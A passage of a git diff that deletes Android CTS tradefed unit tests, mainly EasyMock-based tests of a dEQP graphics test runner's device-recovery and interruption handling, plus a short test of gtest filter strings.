-        DeqpTestRunner.IRecovery mockRecovery = EasyMock.createMock(DeqpTestRunner.IRecovery.class);
-
-        DeqpTestRunner deqpTest = new DeqpTestRunner(NAME, NAME, tests, instance);
-        deqpTest.setAbi(UnitTests.ABI);
-        deqpTest.setDevice(mockDevice);
-        deqpTest.setBuildHelper(new StubCtsBuildHelper());
-        deqpTest.setRecovery(mockRecovery);
-
-        int version = 3 << 16;
-        EasyMock.expect(mockDevice.getProperty("ro.opengles.version"))
-                .andReturn(Integer.toString(version)).atLeastOnce();
-        EasyMock.expect(mockDevice.executeShellCommand("pm list features")).andReturn(ALL_FEATURES)
-                .anyTimes();
-
-        mockRecovery.onExecutionProgressed();
-        EasyMock.expectLastCall().atLeastOnce();
-
-        mockRecovery.setDevice(mockDevice);
-        EasyMock.expectLastCall().atLeastOnce();
-
-        if (!recoverySuccessful) {
-            EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).
-                andReturn("").once();
-        } else {
-            EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).
-                andReturn("").times(2);
-        }
-
-        EasyMock.expect(mockDevice.installPackage(EasyMock.<File>anyObject(),
-                EasyMock.eq(true),
-                EasyMock.eq(AbiUtils.createAbiFlag(UnitTests.ABI.getName())))).andReturn(null)
-                .once();
-
-        // query config A
-        expectRenderConfigQueryAndReturn(mockDevice,
-                "--deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-gl-major-version=3 "
-                + "--deqp-gl-minor-version=0", "Yes");
-
-        // run config A
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{loss{instance}}}",
-                "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
-                + " --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable", instrumentationAnswerFine);
-
-        // query config B
-        expectRenderConfigQueryAndReturn(mockDevice,
-                "--deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=90 "
-                + "--deqp-surface-type=window "
-                + "--deqp-gl-major-version=3 "
-                + "--deqp-gl-minor-version=0", "Yes");
-
-        // run config B
-        EasyMock.expect(mockDevice.executeShellCommand(EasyMock.eq("rm " + CASE_LIST_FILE_NAME)))
-                .andReturn("").once();
-
-        EasyMock.expect(mockDevice.executeShellCommand(EasyMock.eq("rm " + LOG_FILE_NAME)))
-                .andReturn("").once();
-
-        EasyMock.expect(mockDevice.pushString("{dEQP-GLES3{loss{instance}}}\n", CASE_LIST_FILE_NAME))
-                .andReturn(true).once();
-
-        String command = String.format(
-                "am instrument %s -w -e deqpLogFileName \"%s\" -e deqpCmdLine \""
-                + "--deqp-caselist-file=%s"
-                + " --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=90 "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable\" "
-                + "-e deqpLogData \"%s\" %s",
-                AbiUtils.createAbiFlag(UnitTests.ABI.getName()), LOG_FILE_NAME,
-                CASE_LIST_FILE_NAME, false, INSTRUMENTATION_NAME);
-
-        EasyMock.expect(mockDevice.getIDevice()).andReturn(mockIDevice);
-        mockIDevice.executeShellCommand(EasyMock.eq(command),
-                EasyMock.<IShellOutputReceiver>notNull(), EasyMock.anyLong(),
-                EasyMock.isA(TimeUnit.class));
-
-        EasyMock.expectLastCall().andAnswer(new IAnswer<Object>() {
-            @Override
-            public Object answer() throws ShellCommandUnresponsiveException {
-                IShellOutputReceiver receiver
-                        = (IShellOutputReceiver)EasyMock.getCurrentArguments()[1];
-
-                receiver.addOutput(instrumentationAnswerCrash.getBytes(), 0,
-                        instrumentationAnswerCrash.length());
-                throw new ShellCommandUnresponsiveException();
-            }
-        });
-
-        if (!recoverySuccessful) {
-            mockRecovery.recoverComLinkKilled();
-            EasyMock.expectLastCall().andThrow(new DeviceNotAvailableException()).once();
-        } else {
-            mockRecovery.recoverComLinkKilled();
-            EasyMock.expectLastCall().once();
-
-            // retry running config B
-            runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                    "{dEQP-GLES3{loss{instance}}}",
-                    "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
-                    + " --deqp-gl-config-name=rgba8888d24s8 "
-                    + "--deqp-screen-rotation=90 "
-                    + "--deqp-surface-type=window "
-                    + "--deqp-log-images=disable "
-                    + "--deqp-watchdog=enable", instrumentationAnswerFine);
-
-            // query config C
-            expectRenderConfigQueryAndReturn(mockDevice,
-                    "--deqp-gl-config-name=rgba8888d24s8 "
-                    + "--deqp-screen-rotation=180 "
-                    + "--deqp-surface-type=window "
-                    + "--deqp-gl-major-version=3 "
-                    + "--deqp-gl-minor-version=0", "Yes");
-
-            // run config C
-            runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                    "{dEQP-GLES3{loss{instance}}}",
-                    "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
-                    + " --deqp-gl-config-name=rgba8888d24s8 "
-                    + "--deqp-screen-rotation=180 "
-                    + "--deqp-surface-type=window "
-                    + "--deqp-log-images=disable "
-                    + "--deqp-watchdog=enable", instrumentationAnswerFine);
-        }
-
-        mockListener.testRunStarted(ID, 1);
-        EasyMock.expectLastCall().once();
-
-        // result is reported only if device is available
-        if (recoverySuccessful) {
-            mockListener.testStarted(EasyMock.eq(testId));
-            EasyMock.expectLastCall().once();
-
-            mockListener.testEnded(EasyMock.eq(testId), EasyMock.<Map<String, String>>notNull());
-            EasyMock.expectLastCall().once();
-
-            mockListener.testRunEnded(EasyMock.anyLong(), EasyMock.<Map<String, String>>notNull());
-            EasyMock.expectLastCall().once();
-        }
-
-        EasyMock.replay(mockDevice, mockIDevice);
-        EasyMock.replay(mockListener);
-        EasyMock.replay(mockRecovery);
-
-        try {
-            deqpTest.run(mockListener);
-
-            if (!recoverySuccessful) {
-                fail("did not get DeviceNotAvailableException");
-            }
-        } catch (DeviceNotAvailableException ex) {
-            if (recoverySuccessful) {
-                fail("got DeviceNotAvailableException");
-            }
-        }
-
-        EasyMock.verify(mockRecovery);
-        EasyMock.verify(mockListener);
-        EasyMock.verify(mockDevice, mockIDevice);
-    }
-
-    /**
-     * Test dEQP with runner if device is lost during one of multiple instances.
-     */
-    public void testRun_multipleInstancesLossOfDeviceMidInstance() throws Exception {
-        testMultipleInstancesLossOfDeviceMidInstance(false);
-    }
-
-    /**
-     * Test dEQP with runner if device is lost during one of multiple instances but recovery
-     * is successful.
-     */
-    public void testRun_multipleInstancesLossOfDeviceMidInstanceAndRecovery() throws Exception {
-        testMultipleInstancesLossOfDeviceMidInstance(true);
-    }
-
-    public static interface RecoverableTestDevice extends ITestDevice {
-        public void recoverDevice() throws DeviceNotAvailableException;
-    }
-
-    private static enum RecoveryEvent {
-        PROGRESS,
-        FAIL_CONNECTION_REFUSED,
-        FAIL_LINK_KILLED,
-    };
-
-    private void runRecoveryWithPattern(DeqpTestRunner.Recovery recovery, RecoveryEvent[] events)
-            throws DeviceNotAvailableException {
-        for (RecoveryEvent event : events) {
-            switch (event) {
-                case PROGRESS:
-                    recovery.onExecutionProgressed();
-                    break;
-                case FAIL_CONNECTION_REFUSED:
-                    recovery.recoverConnectionRefused();
-                    break;
-                case FAIL_LINK_KILLED:
-                    recovery.recoverComLinkKilled();
-                    break;
-            }
-        }
-    }
-
-    private void setRecoveryExpectationWait(DeqpTestRunner.ISleepProvider mockSleepProvider) {
-        mockSleepProvider.sleep(EasyMock.gt(0));
-        EasyMock.expectLastCall().once();
-    }
-
-    private void setRecoveryExpectationKillProcess(RecoverableTestDevice mockDevice,
-            DeqpTestRunner.ISleepProvider mockSleepProvider) throws DeviceNotAvailableException {
-        EasyMock.expect(mockDevice.executeShellCommand(EasyMock.contains("ps"))).
-                andReturn("root 1234 com.drawelement.deqp").once();
-
-        EasyMock.expect(mockDevice.executeShellCommand(EasyMock.eq("kill -9 1234"))).
-                andReturn("").once();
-
-        // Recovery checks if kill failed
-        mockSleepProvider.sleep(EasyMock.gt(0));
-        EasyMock.expectLastCall().once();
-        EasyMock.expect(mockDevice.executeShellCommand(EasyMock.contains("ps"))).
-                andReturn("").once();
-    }
-
-    private void setRecoveryExpectationRecovery(RecoverableTestDevice mockDevice)
-            throws DeviceNotAvailableException {
-        mockDevice.recoverDevice();
-        EasyMock.expectLastCall().once();
-    }
-
-    private void setRecoveryExpectationReboot(RecoverableTestDevice mockDevice)
-            throws DeviceNotAvailableException {
-        mockDevice.reboot();
-        EasyMock.expectLastCall().once();
-    }
-
-    private int setRecoveryExpectationOfAConnFailure(RecoverableTestDevice mockDevice,
-            DeqpTestRunner.ISleepProvider mockSleepProvider, int numConsecutiveErrors)
-            throws DeviceNotAvailableException {
-        switch (numConsecutiveErrors) {
-            case 0:
-            case 1:
-                setRecoveryExpectationRecovery(mockDevice);
-                return 2;
-            case 2:
-                setRecoveryExpectationReboot(mockDevice);
-                return 3;
-            default:
-                return 4;
-        }
-    }
-
-    private int setRecoveryExpectationOfAComKilled(RecoverableTestDevice mockDevice,
-            DeqpTestRunner.ISleepProvider mockSleepProvider, int numConsecutiveErrors)
-            throws DeviceNotAvailableException {
-        switch (numConsecutiveErrors) {
-            case 0:
-                setRecoveryExpectationWait(mockSleepProvider);
-                setRecoveryExpectationKillProcess(mockDevice, mockSleepProvider);
-                return 1;
-            case 1:
-                setRecoveryExpectationRecovery(mockDevice);
-                setRecoveryExpectationKillProcess(mockDevice, mockSleepProvider);
-                return 2;
-            case 2:
-                setRecoveryExpectationReboot(mockDevice);
-                return 3;
-            default:
-                return 4;
-        }
-    }
-
-    private void setRecoveryExpectationsOfAPattern(RecoverableTestDevice mockDevice,
-            DeqpTestRunner.ISleepProvider mockSleepProvider, RecoveryEvent[] events)
-            throws DeviceNotAvailableException {
-        int numConsecutiveErrors = 0;
-        for (RecoveryEvent event : events) {
-            switch (event) {
-                case PROGRESS:
-                    numConsecutiveErrors = 0;
-                    break;
-                case FAIL_CONNECTION_REFUSED:
-                    numConsecutiveErrors = setRecoveryExpectationOfAConnFailure(mockDevice,
-                            mockSleepProvider, numConsecutiveErrors);
-                    break;
-                case FAIL_LINK_KILLED:
-                    numConsecutiveErrors = setRecoveryExpectationOfAComKilled(mockDevice,
-                            mockSleepProvider, numConsecutiveErrors);
-                    break;
-            }
-        }
-    }
-
-    /**
-     * Test dEQP runner recovery state machine.
-     */
-    private void testRecoveryWithPattern(boolean expectSuccess, RecoveryEvent...pattern)
-            throws Exception {
-        DeqpTestRunner.Recovery recovery = new DeqpTestRunner.Recovery();
-        IMocksControl orderedControl = EasyMock.createStrictControl();
-        RecoverableTestDevice mockDevice = orderedControl.createMock(RecoverableTestDevice.class);
-        DeqpTestRunner.ISleepProvider mockSleepProvider =
-                orderedControl.createMock(DeqpTestRunner.ISleepProvider.class);
-
-        setRecoveryExpectationsOfAPattern(mockDevice, mockSleepProvider, pattern);
-
-        orderedControl.replay();
-
-        recovery.setDevice(mockDevice);
-        recovery.setSleepProvider(mockSleepProvider);
-        try {
-            runRecoveryWithPattern(recovery, pattern);
-            if (!expectSuccess) {
-                fail("Expected DeviceNotAvailableException");
-            }
-        } catch (DeviceNotAvailableException ex) {
-            if (expectSuccess) {
-                fail("Did not expect DeviceNotAvailableException");
-            }
-        }
-
-        orderedControl.verify();
-    }
-
-    // basic patterns
-
-    public void testRecovery_NoEvents() throws Exception {
-        testRecoveryWithPattern(true);
-    }
-
-    public void testRecovery_AllOk() throws Exception {
-        testRecoveryWithPattern(true, RecoveryEvent.PROGRESS, RecoveryEvent.PROGRESS);
-    }
-
-    // conn fail patterns
-
-    public void testRecovery_OneConnectionFailureBegin() throws Exception {
-        testRecoveryWithPattern(true, RecoveryEvent.FAIL_CONNECTION_REFUSED,
-                RecoveryEvent.PROGRESS);
-    }
-
-    public void testRecovery_TwoConnectionFailuresBegin() throws Exception {
-        testRecoveryWithPattern(true, RecoveryEvent.FAIL_CONNECTION_REFUSED,
-                RecoveryEvent.FAIL_CONNECTION_REFUSED, RecoveryEvent.PROGRESS);
-    }
-
-    public void testRecovery_ThreeConnectionFailuresBegin() throws Exception {
-        testRecoveryWithPattern(false, RecoveryEvent.FAIL_CONNECTION_REFUSED,
-                RecoveryEvent.FAIL_CONNECTION_REFUSED, RecoveryEvent.FAIL_CONNECTION_REFUSED);
-    }
-
-    public void testRecovery_OneConnectionFailureMid() throws Exception {
-        testRecoveryWithPattern(true, RecoveryEvent.PROGRESS,
-                RecoveryEvent.FAIL_CONNECTION_REFUSED, RecoveryEvent.PROGRESS);
-    }
-
-    public void testRecovery_TwoConnectionFailuresMid() throws Exception {
-        testRecoveryWithPattern(true, RecoveryEvent.PROGRESS,
-                RecoveryEvent.FAIL_CONNECTION_REFUSED, RecoveryEvent.FAIL_CONNECTION_REFUSED,
-                RecoveryEvent.PROGRESS);
-    }
-
-    public void testRecovery_ThreeConnectionFailuresMid() throws Exception {
-        testRecoveryWithPattern(false, RecoveryEvent.PROGRESS,
-                RecoveryEvent.FAIL_CONNECTION_REFUSED, RecoveryEvent.FAIL_CONNECTION_REFUSED,
-                RecoveryEvent.FAIL_CONNECTION_REFUSED);
-    }
-
-    // link fail patterns
-
-    public void testRecovery_OneLinkFailureBegin() throws Exception {
-        testRecoveryWithPattern(true, RecoveryEvent.FAIL_LINK_KILLED,
-                RecoveryEvent.PROGRESS);
-    }
-
-    public void testRecovery_TwoLinkFailuresBegin() throws Exception {
-        testRecoveryWithPattern(true, RecoveryEvent.FAIL_LINK_KILLED,
-                RecoveryEvent.FAIL_LINK_KILLED, RecoveryEvent.PROGRESS);
-    }
-
-    public void testRecovery_ThreeLinkFailuresBegin() throws Exception {
-        testRecoveryWithPattern(true, RecoveryEvent.FAIL_LINK_KILLED,
-                RecoveryEvent.FAIL_LINK_KILLED, RecoveryEvent.FAIL_LINK_KILLED,
-                RecoveryEvent.PROGRESS);
-    }
-
-    public void testRecovery_FourLinkFailuresBegin() throws Exception {
-        testRecoveryWithPattern(false, RecoveryEvent.FAIL_LINK_KILLED,
-                RecoveryEvent.FAIL_LINK_KILLED, RecoveryEvent.FAIL_LINK_KILLED,
-                RecoveryEvent.FAIL_LINK_KILLED);
-    }
-
-    public void testRecovery_OneLinkFailureMid() throws Exception {
-        testRecoveryWithPattern(true, RecoveryEvent.PROGRESS,
-                RecoveryEvent.FAIL_LINK_KILLED, RecoveryEvent.PROGRESS);
-    }
-
-    public void testRecovery_TwoLinkFailuresMid() throws Exception {
-        testRecoveryWithPattern(true, RecoveryEvent.PROGRESS,
-                RecoveryEvent.FAIL_LINK_KILLED, RecoveryEvent.FAIL_LINK_KILLED,
-                RecoveryEvent.PROGRESS);
-    }
-
-    public void testRecovery_ThreeLinkFailuresMid() throws Exception {
-        testRecoveryWithPattern(true, RecoveryEvent.PROGRESS,
-                RecoveryEvent.FAIL_LINK_KILLED, RecoveryEvent.FAIL_LINK_KILLED,
-                RecoveryEvent.FAIL_LINK_KILLED, RecoveryEvent.PROGRESS);
-    }
-
-    public void testRecovery_FourLinkFailuresMid() throws Exception {
-        testRecoveryWithPattern(false, RecoveryEvent.PROGRESS, RecoveryEvent.FAIL_LINK_KILLED,
-                RecoveryEvent.FAIL_LINK_KILLED, RecoveryEvent.FAIL_LINK_KILLED,
-                RecoveryEvent.FAIL_LINK_KILLED);
-    }
-
-    // mixed patterns
-
-    public void testRecovery_MixedFailuresProgressBetween() throws Exception {
-        testRecoveryWithPattern(true,
-                RecoveryEvent.PROGRESS, RecoveryEvent.FAIL_LINK_KILLED,
-                RecoveryEvent.PROGRESS, RecoveryEvent.FAIL_CONNECTION_REFUSED,
-                RecoveryEvent.PROGRESS, RecoveryEvent.FAIL_LINK_KILLED,
-                RecoveryEvent.PROGRESS, RecoveryEvent.FAIL_CONNECTION_REFUSED,
-                RecoveryEvent.PROGRESS);
-    }
-
-    public void testRecovery_MixedFailuresNoProgressBetween() throws Exception {
-        testRecoveryWithPattern(true,
-                RecoveryEvent.PROGRESS, RecoveryEvent.FAIL_LINK_KILLED,
-                RecoveryEvent.FAIL_CONNECTION_REFUSED, RecoveryEvent.FAIL_LINK_KILLED,
-                RecoveryEvent.PROGRESS);
-    }
-
-    /**
-     * Test recovery if process cannot be killed
-     */
-    public void testRecovery_unkillableProcess () throws Exception {
-        DeqpTestRunner.Recovery recovery = new DeqpTestRunner.Recovery();
-        IMocksControl orderedControl = EasyMock.createStrictControl();
-        RecoverableTestDevice mockDevice = orderedControl.createMock(RecoverableTestDevice.class);
-        DeqpTestRunner.ISleepProvider mockSleepProvider =
-                orderedControl.createMock(DeqpTestRunner.ISleepProvider.class);
-
-        // recovery attempts to kill the process after a timeout
-        mockSleepProvider.sleep(EasyMock.gt(0));
-        EasyMock.expect(mockDevice.executeShellCommand(EasyMock.contains("ps"))).
-                andReturn("root 1234 com.drawelement.deqp").once();
-        EasyMock.expect(mockDevice.executeShellCommand(EasyMock.eq("kill -9 1234"))).
-                andReturn("").once();
-
-        // Recovery checks if kill failed
-        mockSleepProvider.sleep(EasyMock.gt(0));
-        EasyMock.expectLastCall().once();
-        EasyMock.expect(mockDevice.executeShellCommand(EasyMock.contains("ps"))).
-                andReturn("root 1234 com.drawelement.deqp").once();
-
-        // Recovery resets the connection
-        mockDevice.recoverDevice();
-        EasyMock.expectLastCall().once();
-
-        // and attempts to kill the process again
-        EasyMock.expect(mockDevice.executeShellCommand(EasyMock.contains("ps"))).
-                andReturn("root 1234 com.drawelement.deqp").once();
-        EasyMock.expect(mockDevice.executeShellCommand(EasyMock.eq("kill -9 1234"))).
-                andReturn("").once();
-
-        // Recovery checks if kill failed
-        mockSleepProvider.sleep(EasyMock.gt(0));
-        EasyMock.expectLastCall().once();
-        EasyMock.expect(mockDevice.executeShellCommand(EasyMock.contains("ps"))).
-                andReturn("root 1234 com.drawelement.deqp").once();
-
-        // recovery reboots the device
-        mockDevice.reboot();
-        EasyMock.expectLastCall().once();
-
-        orderedControl.replay();
-        recovery.setDevice(mockDevice);
-        recovery.setSleepProvider(mockSleepProvider);
-        recovery.recoverComLinkKilled();
-        orderedControl.verify();
-    }
-
-    /**
-     * Test external interruption before batch run.
-     */
-    public void testInterrupt_killBeforeBatch() throws Exception {
-        final TestIdentifier testId = new TestIdentifier("dEQP-GLES3.interrupt", "test");
-
-        Collection<TestIdentifier> tests = new ArrayList<TestIdentifier>();
-        tests.add(testId);
-
-        Map<TestIdentifier, List<Map<String, String>>> instance = new HashMap<>();
-        instance.put(testId, DEFAULT_INSTANCE_ARGS);
-
-        ITestInvocationListener mockListener
-                = EasyMock.createStrictMock(ITestInvocationListener.class);
-        ITestDevice mockDevice = EasyMock.createMock(ITestDevice.class);
-        IDevice mockIDevice = EasyMock.createMock(IDevice.class);
-        IRunUtil mockRunUtil = EasyMock.createMock(IRunUtil.class);
-
-        DeqpTestRunner deqpTest = new DeqpTestRunner(NAME, NAME, tests, instance);
-        deqpTest.setAbi(UnitTests.ABI);
-        deqpTest.setDevice(mockDevice);
-        deqpTest.setBuildHelper(new StubCtsBuildHelper());
-        deqpTest.setRunUtil(mockRunUtil);
-
-        int version = 3 << 16;
-        EasyMock.expect(mockDevice.getProperty("ro.opengles.version"))
-                .andReturn(Integer.toString(version)).atLeastOnce();
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).
-            andReturn("").once();
-
-        EasyMock.expect(mockDevice.installPackage(EasyMock.<File>anyObject(),
-                EasyMock.eq(true),
-                EasyMock.eq(AbiUtils.createAbiFlag(UnitTests.ABI.getName())))).andReturn(null)
-                .once();
-
-        expectRenderConfigQuery(mockDevice,
-                "--deqp-gl-config-name=rgba8888d24s8 --deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window --deqp-gl-major-version=3 "
-                + "--deqp-gl-minor-version=0");
-
-        mockRunUtil.sleep(0);
-        EasyMock.expectLastCall().andThrow(new RunInterruptedException());
-
-        mockListener.testRunStarted(ID, 1);
-        EasyMock.expectLastCall().once();
-
-        EasyMock.replay(mockDevice, mockIDevice);
-        EasyMock.replay(mockListener);
-        EasyMock.replay(mockRunUtil);
-        try {
-            deqpTest.run(mockListener);
-            fail("expected RunInterruptedException");
-        } catch (RunInterruptedException ex) {
-            // expected
-        }
-        EasyMock.verify(mockRunUtil);
-        EasyMock.verify(mockListener);
-        EasyMock.verify(mockDevice, mockIDevice);
-    }
-
-    /**
-     * Test external interruption in testFailed().
-     */
-    public void testInterrupt_killReportTestFailed() throws Exception {
-        final TestIdentifier testId = new TestIdentifier("dEQP-GLES3.interrupt", "test");
-        final String testPath = "dEQP-GLES3.interrupt.test";
-        final String testTrie = "{dEQP-GLES3{interrupt{test}}}";
-        final String output = "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=" + testPath + "\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Fail\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Fail\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-
-        Collection<TestIdentifier> tests = new ArrayList<TestIdentifier>();
-        tests.add(testId);
-
-        Map<TestIdentifier, List<Map<String, String>>> instance = new HashMap<>();
-        instance.put(testId, DEFAULT_INSTANCE_ARGS);
-
-        ITestInvocationListener mockListener
-                = EasyMock.createStrictMock(ITestInvocationListener.class);
-        ITestDevice mockDevice = EasyMock.createMock(ITestDevice.class);
-        IDevice mockIDevice = EasyMock.createMock(IDevice.class);
-        IRunUtil mockRunUtil = EasyMock.createMock(IRunUtil.class);
-
-        DeqpTestRunner deqpTest = new DeqpTestRunner(NAME, NAME, tests, instance);
-        deqpTest.setAbi(UnitTests.ABI);
-        deqpTest.setDevice(mockDevice);
-        deqpTest.setBuildHelper(new StubCtsBuildHelper());
-        deqpTest.setRunUtil(mockRunUtil);
-
-        int version = 3 << 16;
-        EasyMock.expect(mockDevice.getProperty("ro.opengles.version"))
-                .andReturn(Integer.toString(version)).atLeastOnce();
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).
-            andReturn("").once();
-
-        EasyMock.expect(mockDevice.installPackage(EasyMock.<File>anyObject(),
-                EasyMock.eq(true),
-                EasyMock.eq(AbiUtils.createAbiFlag(UnitTests.ABI.getName())))).andReturn(null)
-                .once();
-
-        expectRenderConfigQuery(mockDevice,
-                "--deqp-gl-config-name=rgba8888d24s8 --deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window --deqp-gl-major-version=3 "
-                + "--deqp-gl-minor-version=0");
-
-        mockRunUtil.sleep(0);
-        EasyMock.expectLastCall().once();
-
-        String commandLine = String.format(
-                "--deqp-caselist-file=%s --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable",
-                CASE_LIST_FILE_NAME);
-
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice, testTrie, commandLine,
-                output);
-
-        mockListener.testRunStarted(ID, 1);
-        EasyMock.expectLastCall().once();
-
-        mockListener.testStarted(EasyMock.eq(testId));
-        EasyMock.expectLastCall().once();
-
-        mockListener.testFailed(EasyMock.eq(testId), EasyMock.<String>notNull());
-        EasyMock.expectLastCall().andThrow(new RunInterruptedException());
-
-        EasyMock.replay(mockDevice, mockIDevice);
-        EasyMock.replay(mockListener);
-        EasyMock.replay(mockRunUtil);
-        try {
-            deqpTest.run(mockListener);
-            fail("expected RunInterruptedException");
-        } catch (RunInterruptedException ex) {
-            // expected
-        }
-        EasyMock.verify(mockRunUtil);
-        EasyMock.verify(mockListener);
-        EasyMock.verify(mockDevice, mockIDevice);
-    }
-
-    private void runInstrumentationLineAndAnswer(ITestDevice mockDevice, IDevice mockIDevice,
-            final String testTrie, final String cmd, final String output) throws Exception {
-        EasyMock.expect(mockDevice.executeShellCommand(EasyMock.eq("rm " + CASE_LIST_FILE_NAME)))
-                .andReturn("").once();
-
-        EasyMock.expect(mockDevice.executeShellCommand(EasyMock.eq("rm " + LOG_FILE_NAME)))
-                .andReturn("").once();
-
-        EasyMock.expect(mockDevice.pushString(testTrie + "\n", CASE_LIST_FILE_NAME))
-                .andReturn(true).once();
-
-        String command = String.format(
-                "am instrument %s -w -e deqpLogFileName \"%s\" -e deqpCmdLine \"%s\" "
-                    + "-e deqpLogData \"%s\" %s",
-                AbiUtils.createAbiFlag(UnitTests.ABI.getName()), LOG_FILE_NAME, cmd, false,
-                INSTRUMENTATION_NAME);
-
-        EasyMock.expect(mockDevice.getIDevice()).andReturn(mockIDevice);
-        mockIDevice.executeShellCommand(EasyMock.eq(command),
-                EasyMock.<IShellOutputReceiver>notNull(), EasyMock.anyLong(),
-                EasyMock.isA(TimeUnit.class));
-
-        EasyMock.expectLastCall().andAnswer(new IAnswer<Object>() {
-            @Override
-            public Object answer() {
-                IShellOutputReceiver receiver
-                        = (IShellOutputReceiver)EasyMock.getCurrentArguments()[1];
-
-                receiver.addOutput(output.getBytes(), 0, output.length());
-                receiver.flush();
-
-                return null;
-            }
-        });
-    }
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/GeeTestTest.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/GeeTestTest.java
deleted file mode 100644
index 93272be..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/GeeTestTest.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.testtype;
-
-import com.android.cts.tradefed.UnitTests;
-
-import junit.framework.TestCase;
-
-/**
- * Unit tests for {@link GeeTest}.
- */
-public class GeeTestTest extends TestCase {
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-     /**
-     * Test {@link GeeTestTest#getGTestFilters}
-     * @throws DeviceNotAvailableException
-     */
-    public void testGetGTestFilters() {
-        GeeTest test = new GeeTest("package_foo", "exe_foo");
-        test.setPositiveFilters("a");
-        test.setNegativeFilters("b");
-        String actual = test.getGTestFilters();
-        assertEquals("--gtest_filter=a:-b", actual);
-    }
-
-    /**
-     * Test {@link GeeTestTest#getGTestFilters} with only positive filters
-     * @throws DeviceNotAvailableException
-     */
-    public void testGetGTestFiltersPositiveOnly() {
-        GeeTest test = new GeeTest("package_foo", "exe_foo");
-        test.setPositiveFilters("a");
-        String actual = test.getGTestFilters();
-        assertEquals("--gtest_filter=a", actual);
-    }
-
-    /**
-     * Test {@link GeeTestTest#getGTestFilters} with only negative filters
-     * @throws DeviceNotAvailableException
-     */
-    public void testGetGTestFiltersNegativeOnly() {
-        GeeTest test = new GeeTest("package_foo", "exe_foo");
-        test.setNegativeFilters("b");
-        String actual = test.getGTestFilters();
-        assertEquals("--gtest_filter=-b", actual);
-    }
-
-    /**
-     * Test {@link GeeTestTest#getGTestFilters} with empty filters
-     * @throws DeviceNotAvailableException
-     */
-    public void testGetGTestFiltersWithNoFilters() {
-        GeeTest test = new GeeTest("package_foo", "exe_foo");
-        String actual = test.getGTestFilters();
-        assertEquals("", actual);
-    }
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/JarHostTestTest.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/JarHostTestTest.java
